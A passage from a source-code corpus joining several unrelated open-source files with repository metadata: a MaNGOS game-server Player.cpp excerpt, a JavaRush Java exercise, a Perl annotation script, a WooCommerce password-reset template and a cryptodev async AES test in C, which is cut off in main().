if (pBind && pBind->perm && pBind->state != map->GetPersistentState())
return AREA_LOCKSTATUS_HAS_BIND;
}
return AREA_LOCKSTATUS_OK;
};
AreaLockStatus Player::GetAreaLockStatus(uint32 mapId, Difficulty difficulty)
{
return GetAreaTriggerLockStatus(sObjectMgr.GetMapEntranceTrigger(mapId), difficulty);
};
bool Player::CheckTransferPossibility(uint32 mapId)
{
if (mapId == GetMapId())
return true;
MapEntry const* targetMapEntry = sMapStore.LookupEntry(mapId);
if (!targetMapEntry)
{
sLog.outError("Player::CheckTransferPossibility: player %s try teleport to map %u, but map not exists!", GetObjectGuid().GetString().c_str(), mapId);
return false;
}
// Battleground requirements checked in another place
if(InBattleGround() && targetMapEntry->IsBattleGroundOrArena())
return true;
AreaTrigger const* at = sObjectMgr.GetMapEntranceTrigger(mapId);
if (!at)
{
if (isGameMaster())
{
sLog.outDetail("Player::CheckTransferPossibility: gamemaster %s try teleport to map %u, but entrance trigger not exists (possible for some test maps).", GetObjectGuid().GetString().c_str(), mapId);
return true;
}
if (targetMapEntry->IsContinent())
{
if (GetSession()->Expansion() < targetMapEntry->Expansion())
{
sLog.outError("Player::CheckTransferPossibility: player %s try teleport to map %u, but not has sufficient expansion (%u instead of %u)", GetObjectGuid().GetString().c_str(), mapId, GetSession()->Expansion(), targetMapEntry->Expansion());
return false;
}
return true;
}
sLog.outError("Player::CheckTransferPossibility: player %s try teleport to map %u, but entrance trigger not exists!", GetObjectGuid().GetString().c_str(), mapId);
return false;
}
return CheckTransferPossibility(at, targetMapEntry->IsContinent());
}
bool Player::CheckTransferPossibility(AreaTrigger const*& at, bool b_onlyMainReq)
{
if (!at)
return false;
if (at->target_mapId == GetMapId())
return true;
MapEntry const* targetMapEntry = sMapStore.LookupEntry(at->target_mapId);
if (!targetMapEntry)
return false;
if (!isGameMaster())
{
// ghost resurrected at enter attempt to dungeon with corpse (including fail enter cases)
if (!isAlive() && targetMapEntry->IsDungeon())
{
int32 corpseMapId = 0;
if (Corpse *corpse = GetCorpse())
corpseMapId = corpse->GetMapId();
// check back way from corpse to entrance
uint32 instance_map = corpseMapId;
do
{
// most often fast case
if (instance_map == targetMapEntry->MapID)
break;
InstanceTemplate const* instance = ObjectMgr::GetInstanceTemplate(instance_map);
instance_map = instance ? instance->parent : 0;
}
while (instance_map);
// corpse not in dungeon or some linked deep dungeons
if (!instance_map)
{
WorldPacket data(SMSG_AREA_TRIGGER_NO_CORPSE);
GetSession()->SendPacket(&data);
return false;
}
// need find areatrigger to inner dungeon for landing point
if (at->target_mapId != corpseMapId)
{
if (AreaTrigger const* corpseAt = sObjectMgr.GetMapEntranceTrigger(corpseMapId))
{
targetMapEntry = sMapStore.LookupEntry(corpseAt->target_mapId);
at = corpseAt;
}
}
// now we can resurrect player, and then check teleport requirements
ResurrectPlayer(0.5f);
SpawnCorpseBones();
}
}
AreaLockStatus status = GetAreaTriggerLockStatus(at, GetDifficulty(targetMapEntry->IsRaid()));
DEBUG_LOG("Player::CheckTransferPossibility %s check lock status of map %u (difficulty %u), result is %u", GetObjectGuid().GetString().c_str(), at->target_mapId, GetDifficulty(targetMapEntry->IsRaid()), status);
if (b_onlyMainReq)
{
switch (status)
{
case AREA_LOCKSTATUS_MISSING_ITEM:
case AREA_LOCKSTATUS_QUEST_NOT_COMPLETED:
case AREA_LOCKSTATUS_INSTANCE_IS_FULL:
case AREA_LOCKSTATUS_ZONE_IN_COMBAT:
case AREA_LOCKSTATUS_TOO_LOW_LEVEL:
return true;
default:
break;
}
}
switch (status)
{
case AREA_LOCKSTATUS_OK:
return true;
case AREA_LOCKSTATUS_TOO_LOW_LEVEL:
GetSession()->SendAreaTriggerMessage(GetSession()->GetMangosString(LANG_LEVEL_MINREQUIRED), at->requiredLevel);
return false;
case AREA_LOCKSTATUS_ZONE_IN_COMBAT:
SendTransferAborted(at->target_mapId, TRANSFER_ABORT_ZONE_IN_COMBAT);
return false;
case AREA_LOCKSTATUS_INSTANCE_IS_FULL:
SendTransferAborted(at->target_mapId, TRANSFER_ABORT_MAX_PLAYERS);
return false;
case AREA_LOCKSTATUS_QUEST_NOT_COMPLETED:
if(at->target_mapId == 269)
{
GetSession()->SendAreaTriggerMessage("%s", at->requiredFailedText.c_str());
return false;
}
// No break here!
case AREA_LOCKSTATUS_MISSING_ITEM:
{
MapDifficultyEntry const* mapDiff = GetMapDifficultyData(targetMapEntry->MapID,GetDifficulty(targetMapEntry->IsRaid()));
if (mapDiff && mapDiff->mapDifficultyFlags & MAP_DIFFICULTY_FLAG_CONDITION)
{
GetSession()->SendAreaTriggerMessage("%s", mapDiff->areaTriggerText[GetSession()->GetSessionDbcLocale()]);
}
// do not report anything for quest areatriggers
DEBUG_LOG("HandleAreaTriggerOpcode: LockAreaStatus %u, do action", uint8(GetAreaTriggerLockStatus(at, GetDifficulty(targetMapEntry->IsRaid()))));
return false;
}
case AREA_LOCKSTATUS_MISSING_DIFFICULTY:
{
Difficulty difficulty = GetDifficulty(targetMapEntry->IsRaid());
SendTransferAborted(at->target_mapId, TRANSFER_ABORT_DIFFICULTY, difficulty > RAID_DIFFICULTY_10MAN_HEROIC ? RAID_DIFFICULTY_10MAN_HEROIC : difficulty);
return false;
}
case AREA_LOCKSTATUS_INSUFFICIENT_EXPANSION:
SendTransferAborted(at->target_mapId, TRANSFER_ABORT_INSUF_EXPAN_LVL, targetMapEntry->Expansion());
return false;
case AREA_LOCKSTATUS_NOT_ALLOWED:
case AREA_LOCKSTATUS_HAS_BIND:
SendTransferAborted(at->target_mapId, TRANSFER_ABORT_MAP_NOT_ALLOWED);
return false;
// TODO: messages for other cases
case AREA_LOCKSTATUS_RAID_LOCKED:
SendTransferAborted(at->target_mapId, TRANSFER_ABORT_NEED_GROUP);
return false;
// TODO: messages for other cases
case AREA_LOCKSTATUS_UNKNOWN_ERROR:
default:
SendTransferAborted(at->target_mapId, TRANSFER_ABORT_ERROR);
sLog.outError("Player::CheckTransferPossibility player %s has unhandled AreaLockStatus %u in map %u (difficulty %u), do nothing", GetObjectGuid().GetString().c_str(), status, at->target_mapId, GetDifficulty(targetMapEntry->IsRaid()));
return false;
}
return false;
};
uint32 Player::GetEquipGearScore(bool withBags, bool withBank)
{
if (withBags && withBank && m_cachedGS > 0)
return m_cachedGS;
GearScoreVec gearScore (EQUIPMENT_SLOT_END);
uint32 twoHandScore = 0;
for (uint8 i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
{
if (Item* item = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
_fillGearScoreData(item, &gearScore, twoHandScore);
}
if (withBags)
{
// check inventory
for(int i = INVENTORY_SLOT_ITEM_START; i < INVENTORY_SLOT_ITEM_END; ++i)
{
if (Item* item = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
_fillGearScoreData(item, &gearScore, twoHandScore);
}
// check bags
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
if(Bag* pBag = (Bag*)GetItemByPos(INVENTORY_SLOT_BAG_0, i))
{
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
{
if (Item* item2 = pBag->GetItemByPos(j))
_fillGearScoreData(item2, &gearScore, twoHandScore);
}
}
}
}
if (withBank)
{
for (uint8 i = BANK_SLOT_ITEM_START; i < BANK_SLOT_ITEM_END; ++i)
{
if (Item* item = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
_fillGearScoreData(item, &gearScore, twoHandScore);
}
for (uint8 i = BANK_SLOT_BAG_START; i < BANK_SLOT_BAG_END; ++i)
{
if (Item* item = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
{
if (item->IsBag())
{
Bag* bag = (Bag*)item;
for (uint8 j = 0; j < bag->GetBagSize(); ++j)
{
if (Item* item2 = bag->GetItemByPos(j))
_fillGearScoreData(item2, &gearScore, twoHandScore);
}
}
}
}
}
uint8 count = EQUIPMENT_SLOT_END - 2; // ignore body and tabard slots
uint32 sum = 0;
// check if 2h hand is higher level than main hand + off hand
if (gearScore[EQUIPMENT_SLOT_MAINHAND] + gearScore[EQUIPMENT_SLOT_OFFHAND] < twoHandScore * 2)
{
gearScore[EQUIPMENT_SLOT_OFFHAND] = 0; // off hand is ignored in calculations if 2h weapon has higher score
--count;
gearScore[EQUIPMENT_SLOT_MAINHAND] = twoHandScore;
}
for (uint8 i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
{
sum += gearScore[i];
}
if (count)
{
uint32 res = uint32(sum / count);
DEBUG_LOG("Player: calculating gear score for %u. Result is %u", GetObjectGuid().GetCounter(), res);
if (withBags && withBank)
m_cachedGS = res;
return res;
}
else
return 0;
}
void Player::_fillGearScoreData(Item* item, GearScoreVec* gearScore, uint32& twoHandScore)
{
if (!item)
return;
if (CanUseItem(item->GetProto()) != EQUIP_ERR_OK)
return;
uint8 type = item->GetProto()->InventoryType;
uint32 level = item->GetProto()->ItemLevel;
switch (type)
{
case INVTYPE_2HWEAPON:
twoHandScore = std::max(twoHandScore, level);
break;
case INVTYPE_WEAPON:
case INVTYPE_WEAPONMAINHAND:
(*gearScore)[SLOT_MAIN_HAND] = std::max((*gearScore)[SLOT_MAIN_HAND], level);
break;
case INVTYPE_SHIELD:
case INVTYPE_WEAPONOFFHAND:
(*gearScore)[EQUIPMENT_SLOT_OFFHAND] = std::max((*gearScore)[EQUIPMENT_SLOT_OFFHAND], level);
break;
case INVTYPE_THROWN:
case INVTYPE_RANGEDRIGHT:
case INVTYPE_RANGED:
case INVTYPE_QUIVER:
case INVTYPE_RELIC:
(*gearScore)[EQUIPMENT_SLOT_RANGED] = std::max((*gearScore)[EQUIPMENT_SLOT_RANGED], level);
break;
case INVTYPE_HEAD:
(*gearScore)[EQUIPMENT_SLOT_HEAD] = std::max((*gearScore)[EQUIPMENT_SLOT_HEAD], level);
break;
case INVTYPE_NECK:
(*gearScore)[EQUIPMENT_SLOT_NECK] = std::max((*gearScore)[EQUIPMENT_SLOT_NECK], level);
break;
case INVTYPE_SHOULDERS:
(*gearScore)[EQUIPMENT_SLOT_SHOULDERS] = std::max((*gearScore)[EQUIPMENT_SLOT_SHOULDERS], level);
break;
case INVTYPE_BODY:
(*gearScore)[EQUIPMENT_SLOT_BODY] = std::max((*gearScore)[EQUIPMENT_SLOT_BODY], level);
break;
case INVTYPE_CHEST:
(*gearScore)[EQUIPMENT_SLOT_CHEST] = std::max((*gearScore)[EQUIPMENT_SLOT_CHEST], level);
break;
case INVTYPE_WAIST:
(*gearScore)[EQUIPMENT_SLOT_WAIST] = std::max((*gearScore)[EQUIPMENT_SLOT_WAIST], level);
break;
case INVTYPE_LEGS:
(*gearScore)[EQUIPMENT_SLOT_LEGS] = std::max((*gearScore)[EQUIPMENT_SLOT_LEGS], level);
break;
case INVTYPE_FEET:
(*gearScore)[EQUIPMENT_SLOT_FEET] = std::max((*gearScore)[EQUIPMENT_SLOT_FEET], level);
break;
case INVTYPE_WRISTS:
(*gearScore)[EQUIPMENT_SLOT_WRISTS] = std::max((*gearScore)[EQUIPMENT_SLOT_WRISTS], level);
break;
case INVTYPE_HANDS:
(*gearScore)[EQUIPMENT_SLOT_HEAD] = std::max((*gearScore)[EQUIPMENT_SLOT_HEAD], level);
break;
// equipped gear score check uses both rings and trinkets for calculation, assume that for bags/banks it is the same
// with keeping second highest score at second slot
case INVTYPE_FINGER:
{
if ((*gearScore)[EQUIPMENT_SLOT_FINGER1] < level)
{
(*gearScore)[EQUIPMENT_SLOT_FINGER2] = (*gearScore)[EQUIPMENT_SLOT_FINGER1];
(*gearScore)[EQUIPMENT_SLOT_FINGER1] = level;
}
else if ((*gearScore)[EQUIPMENT_SLOT_FINGER2] < level)
(*gearScore)[EQUIPMENT_SLOT_FINGER2] = level;
break;
}
case INVTYPE_TRINKET:
{
if ((*gearScore)[EQUIPMENT_SLOT_TRINKET1] < level)
{
(*gearScore)[EQUIPMENT_SLOT_TRINKET2] = (*gearScore)[EQUIPMENT_SLOT_TRINKET1];
(*gearScore)[EQUIPMENT_SLOT_TRINKET1] = level;
}
else if ((*gearScore)[EQUIPMENT_SLOT_TRINKET2] < level)
(*gearScore)[EQUIPMENT_SLOT_TRINKET2] = level;
break;
}
case INVTYPE_CLOAK:
(*gearScore)[EQUIPMENT_SLOT_BACK] = std::max((*gearScore)[EQUIPMENT_SLOT_BACK], level);
break;
default:
break;
}
}
uint8 Player::GetTalentsCount(uint8 tab)
{
if (tab >2)
return 0;
if (m_cachedTC[tab] > 0)
return m_cachedTC[tab];
uint8 talentCount = 0;
uint32 const* talentTabIds = GetTalentTabPages(getClass());
uint32 talentTabId = talentTabIds[tab];
for (PlayerTalentMap::iterator iter = m_talents[m_activeSpec].begin(); iter != m_talents[m_activeSpec].end(); ++iter)
{
PlayerTalent talent = (*iter).second;
if (talent.state == PLAYERSPELL_REMOVED)
continue;
// skip another tab talents
if (talent.talentEntry->TalentTab != talentTabId)
continue;
talentCount += talent.currentRank + 1;
}
m_cachedTC[tab] = talentCount;
return talentCount;
}
uint32 Player::GetModelForForm(SpellShapeshiftFormEntry const* ssEntry) const
{
ShapeshiftForm form = ShapeshiftForm(ssEntry->ID);
Team team = TeamForRace(getRace());
uint32 modelid = 0;
// The following are the different shapeshifting models for cat/bear forms according
// to hair color for druids and skin tone for tauren introduced in patch 3.2
if (form == FORM_CAT || form == FORM_BEAR || form == FORM_DIREBEAR)
{
if (team == ALLIANCE)
{
uint8 hairColour = GetByteValue(PLAYER_BYTES, 3);
if (form == FORM_CAT)
{
if (hairColour >= 0 && hairColour <= 2) modelid = 29407;
else if (hairColour == 3 || hairColour == 5) modelid = 29405;
else if (hairColour == 6) modelid = 892;
else if (hairColour == 7) modelid = 29406;
else if (hairColour == 4) modelid = 29408;
}
else // form == FORM_BEAR || form == FORM_DIREBEAR
{
if (hairColour >= 0 && hairColour <= 2) modelid = 29413;
else if (hairColour == 3 || hairColour == 5) modelid = 29415;
else if (hairColour == 6) modelid = 29414;
else if (hairColour == 7) modelid = 29417;
else if (hairColour == 4) modelid = 29416;
}
}
else if (team == HORDE)
{
uint8 skinColour = GetByteValue(PLAYER_BYTES, 0);
if (getGender() == GENDER_MALE)
{
if (form == FORM_CAT)
{
if (skinColour >= 0 && skinColour <= 5) modelid = 29412;
else if (skinColour >= 6 && skinColour <= 8) modelid = 29411;
else if (skinColour >= 9 && skinColour <= 11) modelid = 29410;
else if (skinColour >= 12 && skinColour <= 14 || skinColour == 18) modelid = 29409;
else if (skinColour >= 15 && skinColour <= 17) modelid = 8571;
}
else // form == FORM_BEAR || form == FORM_DIREBEAR
{
if (skinColour >= 0 && skinColour <= 2) modelid = 29418;
else if (skinColour >= 3 && skinColour <= 5 || skinColour >= 12 && skinColour <= 14) modelid = 29419;
else if (skinColour >= 9 && skinColour <= 11 || skinColour >= 15 && skinColour <= 17) modelid = 29420;
else if (skinColour >= 6 && skinColour <= 8) modelid = 2289;
else if (skinColour == 18) modelid = 29421;
}
}
else // getGender() == GENDER_FEMALE
{
if (form == FORM_CAT)
{
if (skinColour >= 0 && skinColour <= 3) modelid = 29412;
else if (skinColour == 4 || skinColour == 5) modelid = 29411;
else if (skinColour == 6 || skinColour == 7) modelid = 29410;
else if (skinColour == 8 || skinColour == 9) modelid = 8571;
else if (skinColour == 10) modelid = 29409;
}
else // form == FORM_BEAR || form == FORM_DIREBEAR
{
if (skinColour == 0 || skinColour == 1) modelid = 29418;
else if (skinColour == 2 || skinColour == 3) modelid = 29419;
else if (skinColour == 4 || skinColour == 5) modelid = 2289;
else if (skinColour >= 6 && skinColour <= 9) modelid = 29420;
else if (skinColour == 10) modelid = 29421;
}
}
}
}
else if (team == HORDE)
{
if (ssEntry->modelID_H)
modelid = ssEntry->modelID_H; // 3.2.3 only the moonkin form has this information
else // get model for race
modelid = sObjectMgr.GetModelForRace(ssEntry->modelID_A, getRaceMask());
}
// nothing found in above, so use default
if (!modelid)
modelid = ssEntry->modelID_A;
return modelid;
}
float Player::GetCollisionHeight(bool mounted)
{
if (mounted)
{
CreatureDisplayInfoEntry const* mountDisplayInfo = sCreatureDisplayInfoStore.LookupEntry(GetUInt32Value(UNIT_FIELD_MOUNTDISPLAYID));
if (!mountDisplayInfo)
return GetCollisionHeight(false);
CreatureModelDataEntry const* mountModelData = sCreatureModelDataStore.LookupEntry(mountDisplayInfo->ModelId);
if (!mountModelData)
return GetCollisionHeight(false);
CreatureDisplayInfoEntry const* displayInfo = sCreatureDisplayInfoStore.LookupEntry(GetNativeDisplayId());
MANGOS_ASSERT(displayInfo);
CreatureModelDataEntry const* modelData = sCreatureModelDataStore.LookupEntry(displayInfo->ModelId);
MANGOS_ASSERT(modelData);
float scaleMod = GetFloatValue(OBJECT_FIELD_SCALE_X); // 99% sure about this
return scaleMod * mountModelData->MountHeight + modelData->CollisionHeight * 0.5f;
}
else
{
//! Dismounting case - use basic default model data
CreatureDisplayInfoEntry const* displayInfo = sCreatureDisplayInfoStore.LookupEntry(GetNativeDisplayId());
MANGOS_ASSERT(displayInfo);
CreatureModelDataEntry const* modelData = sCreatureModelDataStore.LookupEntry(displayInfo->ModelId);
MANGOS_ASSERT(modelData);
return modelData->CollisionHeight;
}
}
void Player::InterruptTaxiFlying()
{
// stop flight if need
if (IsTaxiFlying())
{
GetUnitStateMgr().DropAction(UNIT_ACTION_TAXI);
m_taxi.ClearTaxiDestinations();
GetUnitStateMgr().InitDefaults();
}
// save only in non-flight case
else
SaveRecallPosition();
}
| bwsrv/mangos | src/game/Player.cpp | C++ | gpl-2.0 | 923,318 |
package com.javarush.task.task11.task1109;
/*
Как кошка с собакой
*/
public class Solution {
public static void main(String[] args) {
Cat cat = new Cat("Vaska", 5);
Dog dog = new Dog("Sharik", 4);
cat.isDogNear(dog);
dog.isCatNear(cat);
}
public static class Cat {
private String name;
private int speed;
public Cat(String name, int speed) {
this.name = name;
this.speed = speed;
}
private String getName() {
return name;
}
private int getSpeed() {
return speed;
}
public boolean isDogNear(Dog dog) {
return this.speed > dog.getSpeed();
}
}
public static class Dog {
private String name;
private int speed;
public Dog(String name, int speed) {
this.name = name;
this.speed = speed;
}
private String getName() {
return name;
}
private int getSpeed() {
return speed;
}
public boolean isCatNear(Cat cat) {
return this.speed > cat.getSpeed();
}
}
} | biblelamp/JavaExercises | JavaRushTasks/2.JavaCore/src/com/javarush/task/task11/task1109/Solution.java | Java | gpl-2.0 | 1,210 |
#!/usr/bin/perl
use warnings;
use strict;
use hdpTools;
use Annotation::Annotation;
my $config=$ARGV[0];
die "Usage: perl $0 <config file>\n\n" unless defined $config;
my $Annotation=Annotation->new($config);
warn "Loading GFF\n";
$Annotation->loadAnnotation();
warn "Loading Genome\n";
$Annotation->loadGenome();
warn "Loading Homology\n";
$Annotation->addHomologies();
my @targets=@{$Annotation->getHomologyTargets()};
my $allKids=$Annotation->getAllParentsOfID("PAC:28400253.CDS.3");
foreach my $child (@$allKids){
print $child."\n";
}
| hdpriest/Tools | Annotations/LoadAnnoation_base.pl | Perl | gpl-2.0 | 545 |
<?php
/**
* Lost password form
*
* @author WooThemes
* @package WooCommerce/Templates
* @version 2.0.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
?>
<?php wc_print_notices(); ?>
<section id="content">
<form method="post" class="form lost_reset_password">
<?php if( 'lost_password' == $args['form'] ) : ?>
<p class="red"><?php echo apply_filters( 'woocommerce_lost_password_message', __( 'Lost your password? Please enter your username or email address. You will receive a link to create a new password via email.', 'woocommerce' ) ); ?></p>
<!--<p class="form-row form-row-first"><label for="user_login"><?php _e( 'Username or email', 'woocommerce' ); ?></label> <input class="input-text" type="text" name="user_login" id="user_login" /></p>-->
<div class="col">
<div class="left">
<input class="input-text" type="text" name="user_login" id="user_login" placeholder="Username or email" />
</div>
</div>
<?php else : ?>
<p><?php echo apply_filters( 'woocommerce_reset_password_message', __( 'Enter a new password below.', 'woocommerce') ); ?></p>
<!--
<p class="form-row form-row-first">
<label for="password_1"><?php _e( 'New password', 'woocommerce' ); ?> <span class="required">*</span></label>
<input type="password" class="email" name="password_1" id="password_1" />
</p>
<p class="form-row form-row-last">
<label for="password_2"><?php _e( 'Re-enter new password', 'woocommerce' ); ?> <span class="required">*</span></label>
<input type="password" class="input-text" name="password_2" id="password_2" />
</p>-->
<div class="col">
<div class="left">
<input type="password" class="email" name="password_1" id="password_1" placeholder="Password*" />
</div>
</div>
<div class="col">
<div class="left">
<input type="password" class="input-text" name="password_2" id="password_2" placeholder="Re-enter Password*" />
</div>
</div>
<input type="hidden" name="reset_key" value="<?php echo isset( $args['key'] ) ? $args['key'] : ''; ?>" />
<input type="hidden" name="reset_login" value="<?php echo isset( $args['login'] ) ? $args['login'] : ''; ?>" />
<?php endif; ?>
<div class="clear"></div>
<div class="col">
<div class="left">
<input type="submit" class="button" name="wc_reset_password" value="<?php echo 'lost_password' == $args['form'] ? __( 'Reset Password', 'woocommerce' ) : __( 'Save', 'woocommerce' ); ?>" />
</div>
</div>
<!--<p class="form-row"><input type="submit" class="button" name="wc_reset_password" value="<?php echo 'lost_password' == $args['form'] ? __( 'Reset Password', 'woocommerce' ) : __( 'Save', 'woocommerce' ); ?>" /></p>-->
<?php wp_nonce_field( $args['form'] ); ?>
</form>
</section>
<script type="text/javascript">
jQuery('#reg_passmail').html('');
jQuery('#reg_passmail').append('<div class="col"></div>');
</script> | kamil-incubasys/carpets | wp-content/plugins/woocommerce/templates/myaccount/form-lost-password.php | PHP | gpl-2.0 | 3,174 |
/*
* Demo on how to use /dev/crypto device for ciphering.
*
* Placed under public domain.
*
*/
#include <poll.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <crypto/cryptodev.h>
#include "asynchelper.h"
#include "testhelper.h"
#ifdef ENABLE_ASYNC
static int debug = 0;
#define DATA_SIZE 8*1024
#define BLOCK_SIZE 16
#define KEY_SIZE 16
static int
test_crypto(int cfd)
{
uint8_t plaintext_raw[DATA_SIZE + 63], *plaintext;
uint8_t ciphertext_raw[DATA_SIZE + 63], *ciphertext;
uint8_t iv[BLOCK_SIZE];
uint8_t key[KEY_SIZE];
struct session_op sess;
#ifdef CIOCGSESSINFO
struct session_info_op siop;
#endif
struct crypt_op cryp;
if (debug) printf("running %s\n", __func__);
memset(&sess, 0, sizeof(sess));
memset(&cryp, 0, sizeof(cryp));
memset(key, 0x33, sizeof(key));
memset(iv, 0x03, sizeof(iv));
/* Get crypto session for AES128 */
sess.cipher = CRYPTO_AES_CBC;
sess.keylen = KEY_SIZE;
sess.key = key;
if (ioctl(cfd, CIOCGSESSION, &sess)) {
perror("ioctl(CIOCGSESSION)");
return 1;
}
if (debug) printf("%s: got the session\n", __func__);
#ifdef CIOCGSESSINFO
siop.ses = sess.ses;
if (ioctl(cfd, CIOCGSESSINFO, &siop)) {
perror("ioctl(CIOCGSESSINFO)");
return 1;
}
plaintext = buf_align(plaintext_raw, siop.alignmask);
ciphertext = buf_align(ciphertext_raw, siop.alignmask);
#else
plaintext = plaintext_raw;
ciphertext = ciphertext_raw;
#endif
memset(plaintext, 0x15, DATA_SIZE);
/* Encrypt data.in to data.encrypted */
cryp.ses = sess.ses;
cryp.len = DATA_SIZE;
cryp.src = plaintext;
cryp.dst = ciphertext;
cryp.iv = iv;
cryp.op = COP_ENCRYPT;
DO_OR_DIE(do_async_crypt(cfd, &cryp), 0);
DO_OR_DIE(do_async_fetch(cfd, &cryp), 0);
if (debug) printf("%s: data encrypted\n", __func__);
if (ioctl(cfd, CIOCFSESSION, &sess.ses)) {
perror("ioctl(CIOCFSESSION)");
return 1;
}
if (debug) printf("%s: session finished\n", __func__);
if (ioctl(cfd, CIOCGSESSION, &sess)) {
perror("ioctl(CIOCGSESSION)");
return 1;
}
if (debug) printf("%s: got new session\n", __func__);
/* Decrypt data.encrypted to data.decrypted */
cryp.ses = sess.ses;
cryp.len = DATA_SIZE;
cryp.src = ciphertext;
cryp.dst = ciphertext;
cryp.iv = iv;
cryp.op = COP_DECRYPT;
DO_OR_DIE(do_async_crypt(cfd, &cryp), 0);
DO_OR_DIE(do_async_fetch(cfd, &cryp), 0);
if (debug) printf("%s: data encrypted\n", __func__);
/* Verify the result */
if (memcmp(plaintext, ciphertext, DATA_SIZE) != 0) {
fprintf(stderr,
"FAIL: Decrypted data are different from the input data.\n");
return 1;
} else if (debug)
printf("Test passed\n");
/* Finish crypto session */
if (ioctl(cfd, CIOCFSESSION, &sess.ses)) {
perror("ioctl(CIOCFSESSION)");
return 1;
}
return 0;
}
static int test_aes(int cfd)
{
uint8_t plaintext1_raw[BLOCK_SIZE + 63], *plaintext1;
uint8_t ciphertext1[BLOCK_SIZE] = { 0xdf, 0x55, 0x6a, 0x33, 0x43, 0x8d, 0xb8, 0x7b, 0xc4, 0x1b, 0x17, 0x52, 0xc5, 0x5e, 0x5e, 0x49 };
uint8_t iv1[BLOCK_SIZE];
uint8_t key1[KEY_SIZE] = { 0xff, 0xff, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t plaintext2_data[BLOCK_SIZE] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xc0, 0x00 };
uint8_t plaintext2_raw[BLOCK_SIZE + 63], *plaintext2;
uint8_t ciphertext2[BLOCK_SIZE] = { 0xb7, 0x97, 0x2b, 0x39, 0x41, 0xc4, 0x4b, 0x90, 0xaf, 0xa7, 0xb2, 0x64, 0xbf, 0xba, 0x73, 0x87 };
uint8_t iv2[BLOCK_SIZE];
uint8_t key2[KEY_SIZE];
struct session_op sess1, sess2;
#ifdef CIOCGSESSINFO
struct session_info_op siop1, siop2;
#endif
struct crypt_op cryp1, cryp2;
memset(&sess1, 0, sizeof(sess1));
memset(&sess2, 0, sizeof(sess2));
memset(&cryp1, 0, sizeof(cryp1));
memset(&cryp2, 0, sizeof(cryp2));
/* Get crypto session for AES128 */
sess1.cipher = CRYPTO_AES_CBC;
sess1.keylen = KEY_SIZE;
sess1.key = key1;
if (ioctl(cfd, CIOCGSESSION, &sess1)) {
perror("ioctl(CIOCGSESSION)");
return 1;
}
#ifdef CIOCGSESSINFO
siop1.ses = sess1.ses;
if (ioctl(cfd, CIOCGSESSINFO, &siop1)) {
perror("ioctl(CIOCGSESSINFO)");
return 1;
}
plaintext1 = buf_align(plaintext1_raw, siop1.alignmask);
#else
plaintext1 = plaintext1_raw;
#endif
memset(plaintext1, 0x0, BLOCK_SIZE);
memset(iv1, 0x0, sizeof(iv1));
memset(key2, 0x0, sizeof(key2));
/* Get second crypto session for AES128 */
sess2.cipher = CRYPTO_AES_CBC;
sess2.keylen = KEY_SIZE;
sess2.key = key2;
if (ioctl(cfd, CIOCGSESSION, &sess2)) {
perror("ioctl(CIOCGSESSION)");
return 1;
}
#ifdef CIOCGSESSINFO
siop2.ses = sess2.ses;
if (ioctl(cfd, CIOCGSESSINFO, &siop2)) {
perror("ioctl(CIOCGSESSINFO)");
return 1;
}
plaintext2 = buf_align(plaintext2_raw, siop2.alignmask);
#else
plaintext2 = plaintext2_raw;
#endif
memcpy(plaintext2, plaintext2_data, BLOCK_SIZE);
/* Encrypt data.in to data.encrypted */
cryp1.ses = sess1.ses;
cryp1.len = BLOCK_SIZE;
cryp1.src = plaintext1;
cryp1.dst = plaintext1;
cryp1.iv = iv1;
cryp1.op = COP_ENCRYPT;
DO_OR_DIE(do_async_crypt(cfd, &cryp1), 0);
if (debug) printf("cryp1 written out\n");
memset(iv2, 0x0, sizeof(iv2));
/* Encrypt data.in to data.encrypted */
cryp2.ses = sess2.ses;
cryp2.len = BLOCK_SIZE;
cryp2.src = plaintext2;
cryp2.dst = plaintext2;
cryp2.iv = iv2;
cryp2.op = COP_ENCRYPT;
DO_OR_DIE(do_async_crypt(cfd, &cryp2), 0);
if (debug) printf("cryp2 written out\n");
DO_OR_DIE(do_async_fetch(cfd, &cryp1), 0);
DO_OR_DIE(do_async_fetch(cfd, &cryp2), 0);
if (debug) printf("cryp1 + cryp2 successfully read\n");
/* Verify the result */
if (memcmp(plaintext1, ciphertext1, BLOCK_SIZE) != 0) {
int i;
fprintf(stderr,
"FAIL: Decrypted data are different from the input data.\n");
printf("plaintext:");
for (i = 0; i < BLOCK_SIZE; i++) {
if ((i % 30) == 0)
printf("\n");
printf("%02x ", plaintext1[i]);
}
printf("ciphertext:");
for (i = 0; i < BLOCK_SIZE; i++) {
if ((i % 30) == 0)
printf("\n");
printf("%02x ", ciphertext1[i]);
}
printf("\n");
return 1;
} else {
if (debug) printf("result 1 passed\n");
}
/* Test 2 */
/* Verify the result */
if (memcmp(plaintext2, ciphertext2, BLOCK_SIZE) != 0) {
int i;
fprintf(stderr,
"FAIL: Decrypted data are different from the input data.\n");
printf("plaintext:");
for (i = 0; i < BLOCK_SIZE; i++) {
if ((i % 30) == 0)
printf("\n");
printf("%02x ", plaintext2[i]);
}
printf("ciphertext:");
for (i = 0; i < BLOCK_SIZE; i++) {
if ((i % 30) == 0)
printf("\n");
printf("%02x ", ciphertext2[i]);
}
printf("\n");
return 1;
} else {
if (debug) printf("result 2 passed\n");
}
if (debug) printf("AES Test passed\n");
/* Finish crypto session */
if (ioctl(cfd, CIOCFSESSION, &sess1.ses)) {
perror("ioctl(CIOCFSESSION)");
return 1;
}
if (ioctl(cfd, CIOCFSESSION, &sess2.ses)) {
perror("ioctl(CIOCFSESSION)");
return 1;
}
return 0;
}
int
main(int argc, char** argv)
{
int fd = -1, cfd = -1;
if (argc > 1) debug = 1;
